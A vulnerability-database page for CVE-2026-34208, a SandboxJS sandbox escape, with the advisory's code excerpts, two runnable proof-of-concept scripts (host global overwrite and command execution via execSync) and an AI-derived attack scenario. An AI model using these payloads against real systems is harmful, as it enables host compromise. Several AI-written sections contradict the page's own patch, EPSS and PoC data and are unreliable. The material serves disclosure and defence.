Skip to main content

Node.js CVE-2026-34208

CRITICAL
Protection Mechanism Failure (CWE-693)
2026-04-03 https://github.com/nyariv/SandboxJS GHSA-2gg9-6p7w-6cpj
10.0
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Access exposed constructor property
  2. Exploit
    Call Function.prototype.call with target object
  3. Execution
    Write arbitrary properties to host global
  4. Impact
    Persist mutations across sandbox instances

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V15 - Secure Coding and Architecture Protection mechanism completeness
Exploitation Conditions

Remote unauthenticated attacker can execute arbitrary code within SandboxJS sandbox environment. Exploitation requires SandboxJS to be used for JavaScript code isolation/sandboxing. No victim interaction needed. Bypasses sandbox protections via constructor.call() to mutate host global objects across sandbox instances in the same process.

Impact

Real-world risk is CRITICAL despite absence of confirmed active exploitation. CVSS 10.0 (Critical) reflects maximal impact: Network attack vector (AV:N) with no authentication (PR:N), low complexity (AC:L), scope change (S:C) indicating container escape, and high confidentiality/integrity impact with at least low availability impact. The attack is trivially automatable-three lines of JavaScript execute the bypass. Publicly available exploit code exists (two working PoCs in advisory), lowering exploitation barrier to script-kiddie level. SSVC classification: Exploitation=POC, Automatable=Yes, Technical Impact=Total (arbitrary code execution via mutated globals). The scope-change metric is particularly concerning: mutations persist process-wide and contaminate subsequent sandbox instances, enabling tenant-to-tenant attacks in multi-user environments or request poisoning in web applications. While no KEV listing or EPSS score exists yet (CVE recently published in 2026), the combination of public exploit code, maximum CVSS score, and demonstrated command execution chain indicates imminent weaponization risk. Any Node.js application using SandboxJS to isolate untrusted code (plugin systems, user-scripting features, serverless function isolation) faces immediate compromise.

Exploit ScenarioDerived

An attacker submits malicious JavaScript to a SaaS application's user-scripting feature that uses SandboxJS for isolation. The payload executes 'this.constructor.call(Math, {random: () => 0.5})' to fix Math.random() return values, then 'this.constructor.call(JSON, {parse: eval})' to replace JSON.parse with eval. Because these mutations persist process-wide, the next legitimate user request that calls JSON.parse(userInput) unknowingly executes eval(userInput), granting the attacker arbitrary code execution in the host Node.js process with full application privileges. The attacker then exfiltrates environment variables containing database credentials and API keys. Alternatively, in a multi-tenant serverless platform, the attacker poisons Math.random used by a cryptographic token generator, causing predictable session tokens for all subsequent tenants in the same worker process.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 03, 2026

Sandbox escape in SandboxJS npm package allows unauthenticated remote attackers to mutate host JavaScript global objects (Math, JSON, etc.) and persist malicious code across sandbox instances. The vulnerability bypasses intended global-write protections by exploiting an exposed constructor callable path (this.constructor.call), enabling arbitrary property injection into host runtime globals. Exploitation probability is HIGH (EPSS not available for recent CVE), with publicly available exploit code demonstrating both immediate host contamination and cross-execution persistence. Critical impact: attacker-controlled globals can hijack application control flow when host code consumes mutated built-ins, escalating to arbitrary command execution when chained with application sinks like execSync().

RemediationAI

Immediately upgrade to a patched version of @nyariv/sandboxjs when released by the vendor. Monitor the GitHub security advisory at https://github.com/nyariv/SandboxJS/security/advisories/GHSA-2gg9-6p7w-6cpj for patch availability notifications-no vendor-released patch version is independently confirmed at time of analysis, though upstream fix development is likely in progress given public disclosure. As interim mitigation, implement defense-in-depth controls: (1) run SandboxJS instances in isolated processes with restricted privileges rather than in-process sandboxing, (2) validate and sanitize all inputs before sandbox execution, (3) implement object-freeze protections on critical host globals before initializing sandboxes (Object.freeze(Math), Object.freeze(JSON), etc.), though this may break legitimate sandbox functionality, (4) deploy runtime monitoring to detect unexpected mutations to built-in prototypes and global objects, (5) consider alternative sandboxing solutions with stronger isolation guarantees (vm2 with updated patches, isolated-vm, or OS-level containers) until vendor patch is available. For applications unable to migrate immediately, restrict SandboxJS usage to trusted code paths only and reject all untrusted user-supplied scripts.

Affected Packages

npm @nyariv/sandboxjs fix: 0.8.36

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SandboxJS is a Node.js JavaScript sandbox library (npm package @nyariv/sandboxjs) designed to execute untrusted code with restricted access to host runtime. The vulnerability stems from an architectural gap between two protection layers: assignment-time checks (assignCheck) that block direct writes like 'Math.random = value', and callable host functions that perform writes internally. The root cause (CWE-693: Protection Mechanism Failure) lies in the SandboxGlobal constructor implementation, which copies all properties from a provided object into 'this' without validating whether 'this' points to a protected global context. Because sandbox code runs with 'this' bound to a SandboxGlobal instance and Function.prototype.call is permitted, attackers can redirect the constructor's write target to any host global object. The call path (executor.ts line 493-518) allows Function.prototype.call invocations without enforcing the same global-mutation restrictions applied to assignment opcodes, creating exploitable privilege escalation within the sandbox's trust boundary.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 04, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 03, 2026 - 21:44 nvd
CRITICAL 10.0

DescriptionNVD

Summary

SandboxJS blocks direct assignment to global objects (for example Math.random = ...), but this protection can be bypassed through an exposed callable constructor path: this.constructor.call(target, attackerObject). Because this.constructor resolves to the internal SandboxGlobal function and Function.prototype.call is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.

Details

The intended safety model relies on write-time checks in assignment operations. In assignCheck, writes are denied when the destination is marked global (obj.isGlobal), which correctly blocks straightforward payloads like Math.random = () => 1.

Reference: src/executor.ts#L215-L218

ts
if (obj.isGlobal) {
  throw new SandboxAccessError(
    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,
  );
}

The bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is SandboxGlobal, implemented as a function that copies all keys from a provided object into this.

Reference: src/utils.ts#L84-L88

ts
export const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {
  for (const i in globals) {
    this[i] = globals[i];
  }
} as any as SandboxGlobalConstructor;

At runtime, global scope this is a SandboxGlobal instance (functionThis), so this.constructor resolves to SandboxGlobal. That constructor is reachable from sandbox code, and calls through Function.prototype.call are allowed by the generic call opcode path.

References:

ts
const sandboxGlobal = new SandboxGlobal(options.globals);
...
globalScope: new Scope(null, options.globals, sandboxGlobal),
ts
const evl = context.evals.get(obj.context[obj.prop] as any);
let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);

This creates a privilege gap:

  1. Direct global mutation is blocked in assignment logic.
  2. A callable host function that performs arbitrary property writes is still reachable.
  3. The call path does not enforce equivalent global-mutation restrictions.
  4. Attacker-controlled code can choose the write target (Math, JSON, etc.) via .call(target, payloadObject).

In practice, the payload:

js
const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });

overwrites host Math.random successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.

PoC

Install dependency:

bash
npm i @nyariv/sandboxjs@0.8.35
Global write bypass with pwned marker
js
#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const run = (code) => new Sandbox().compile(code)().run();
const original = Math.random;

try {
  try {
    run('Math.random = () => 1');
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { random: () => 'pwned' })`);
  console.log('With bypass (host Math.random()):', Math.random());
  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));
} finally {
  Math.random = original;
}

Expected output:

Without bypass (direct assignment): blocked -> Cannot assign property 'random' of a global object
With bypass (host Math.random()): pwned
With bypass (fresh sandbox Math.random()): pwned

With bypass (host Math.random()) proves the sandbox changed host runtime state immediately. With bypass (fresh sandbox Math.random()) proves the mutation persists across new sandbox instances, which shows cross-execution contamination.

Command id execution via host gadget

This second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX id command as a harmless execution marker.

js
#!/usr/bin/env node
'use strict';

const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');

const run = (code) => new Sandbox().compile(code)().run();
const hadCmd = Object.prototype.hasOwnProperty.call(Math, 'cmd');
const originalCmd = Math.cmd;

try {
  try {
    run(`Math.cmd = 'id'`);
    console.log('Without bypass (direct assignment): unexpectedly succeeded');
  } catch (err) {
    console.log('Without bypass (direct assignment): blocked ->', err.message);
  }
  run(`this.constructor.call(Math, { cmd: 'id' })`);
  console.log('With bypass (host command source Math.cmd):', Math.cmd);
  console.log(
    'With bypass + host gadget execSync(Math.cmd):',
    execSync(Math.cmd, { encoding: 'utf8' }).trim(),
  );
} finally {
  if (hadCmd) {
    Math.cmd = originalCmd;
  } else {
    delete Math.cmd;
  }
}

Expected output:

Without bypass (direct assignment): blocked -> Cannot assign property 'cmd' of a global object
With bypass (host command source Math.cmd): id
With bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...

Impact

This is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 17 npm packages depend on @nyariv/sandboxjs (7 direct, 10 indirect)

Ecosystem-wide dependent count for version 0.8.36.

Executive ViewAI

Why It Matters

CVE-2026-34208 is a critical sandbox escape in the SandboxJS npm package (CVSS 10.0) that allows unauthenticated attackers to inject malicious code into host JavaScript runtime globals, persisting across sandbox instances and potentially leading to arbitrary command execution. Organizations using SandboxJS for code isolation face immediate risk of application compromise and data exfiltration, as attacker-controlled global objects can hijack application logic when consumed by host code. This vulnerability requires emergency remediation regardless of patch availability.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations are insufficient-SandboxJS architecture is fundamentally broken for this vulnerability. Recommended compensating controls pending migration: (1) Disable or isolate all SandboxJS instances immediately; (2) implement network-level restrictions to prevent compromised applications from exfiltrating data; (3) monitor for anomalous mutations of global objects (JSON.stringify, Math functions) via runtime instrumentation; (4) avoid chaining SandboxJS output with dangerous sinks (execSync, eval, Function constructor). Migration to alternative sandbox technology is the only acceptable long-term control.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)NVD

pkg:npm/@nyariv_sandboxjs
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy